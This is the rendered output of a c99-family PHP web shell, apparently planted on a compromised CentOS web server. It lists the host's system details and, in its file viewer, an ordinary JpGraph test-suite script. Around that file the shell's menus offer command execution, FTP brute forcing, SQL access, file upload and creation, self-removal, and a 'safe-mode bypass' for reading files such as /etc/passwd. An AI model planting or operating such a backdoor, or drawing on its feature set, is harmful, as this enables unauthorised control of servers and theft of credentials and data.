!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/jpgraph/src/Examples/   drwxr-xr-x
Free 52.31 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     testsuit.php (2.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//=======================================================================
// File:    TESTSUIT.PHP
// Description:    Run all the example script in current directory
// Created:     2002-07-11
// Author:    Johan Persson (johanp@aditus.nu)
// Ver:        $Id: testsuit.php,v 1.1.2.1 2004/03/27 12:43:07 aditus Exp $
//
// License:    This code is released under QPL 1.0 
// Copyright (C) 2001,2002 Johan Persson 
//========================================================================

//-------------------------------------------------------------------------
//
// Usage: testsuit.php[?type=1]    Generates all non image map scripts
//        testsuit.php?type=2      Generates client side image map scripts 
//       
//-------------------------------------------------------------------------
class TestDriver {
    
    var 
$iType;
    var 
$iDir;

    function 
TestDriver($aType=1,$aDir='') {
    
$this->iType $aType;
    if( 
$aDir == '' ) {
        
$aDir getcwd();
    }
    if( !
chdir($aDir) ) {
        die(
"PANIC: Can't access directory : $aDir");
    }
    
$this->iDir $aDir;
    }

    function 
GetFiles() {
    
$d dir($this->iDir);
    
$a = array();
    while( 
$entry=$d->Read() ) {
        if( 
strstr($entry,".php") && strstr($entry,"x") && !strstr($entry,"show") && !strstr($entry,"csim") ) {
        
$a[] = $entry;
        }
    }
    
$d->Close();
    if( 
count($a) == ) {
        die(
"PANIC: Apache/PHP does not have enough permission to read the scripts in directory: $this->iDir");        
    }
    
sort($a);
    return 
$a;
    }

    function 
GetCSIMFiles() {
    
$d dir($this->iDir);
    
$a = array();
    while( 
$entry=$d->Read() ) {
        if( 
strstr($entry,".php") && strstr($entry,"csim") ) {
        
$a[] = $entry;
        }
    }
    
$d->Close();
    if( 
count($a) == ) {
        die(
"PANIC: Apache/PHP does not have enough permission to read the CSIM scripts in directory: $this->iDir");        
    }
    
sort($a);
    return 
$a;
    }

    
    function 
Run() {
    switch( 
$this->iType ) {
        case 
1:
        
$files $this->GetFiles();
        break;
        case 
2:
        
$files $this->GetCSIMFiles();
        break;
        default:
        die(
'Panic: Unknown type of test');
        break;
    }
    
$n count($files);
    echo 
"<h2>Visual test suit for JpGraph</h2>";
    echo 
"Testtype: " . ($this->iType==' Standard images ':' Image map tests ');
    echo 
"<br>Number of tests: $n<p>";
    echo 
"<ol>";
    
    for( 
$i=0$i<$n; ++$i ) {
        if( 
$this->iType ==) {
        echo 
'<li><a href="show-example.php?target='.urlencode($files[$i]).'"><img src="'.$files[$i].'" border=0 align=top></a><br><strong>Filename:</strong> <i>'.basename($files[$i])."</i>\n";
        }
        else {
        echo 
'<li><a href="show-example.php?target='.urlencode($files[$i]).'">'.$files[$i]."</a>\n";
        }
    }
    echo 
"</ol>";

    echo 
"<p>Done.</p>";
    }
}

$type=@$HTTP_GET_VARS['t'];
if( empty(
$type) ) {
    
$type=1;
}

$driver = new TestDriver($type);
$driver->Run();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--